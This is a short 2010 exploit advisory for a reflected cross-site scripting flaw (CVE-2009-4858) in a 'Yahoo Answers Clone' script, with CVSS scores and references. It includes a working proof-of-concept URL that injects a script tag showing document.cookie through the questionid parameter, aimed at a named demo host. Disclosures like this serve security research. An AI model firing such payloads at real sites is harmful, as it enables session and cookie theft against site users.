Yahoo Answers Clone Remote XSS Vulnerabilities

2010-05-22 / 2010-05-23
Credit: Moudi
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2009-4858
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

/* _____ _ ___ __ | ____|_ _(_) \ \ / /_ _ _ _ | _| \ \ / / | |\ \ /\ / / _` | | | | | |___ \ V /| | | \ V V / (_| | |_| | |_____| \_/ |_|_| \_/\_/ \__,_|\__, | |___/ _____ |_ _|__ __ _ _ __ ___ | |/ _ \/ _` | '_ ` _ \ | | __/ (_| | | | | | | |_|\___|\__,_|_| |_| |_| Yahoo Answers Clone Remote XSS Vulnerabilities Discovered By : Moudi Contact : <m0udi@9.cn> Download : http://www.turnkeyforms.com/yahoo-answers-clone.html Greetings : Mizoz, Zuka, str0ke, 599eme Man. */ [+] Exploit XSS: - Vulnerable code in questiondetail.php (questionid). - Poc: http://127.0.0.1/questiondetail.php?questionid=[XSS] http://demo.turnkeyforms.com/youaskit/questiondetail.php?questionid="><script>alert(document.cookie);</script>

References:

http://secunia.com/advisories/36239
http://packetstormsecurity.org/0908-exploits/yac-xss.txt


See this note in RAW Version
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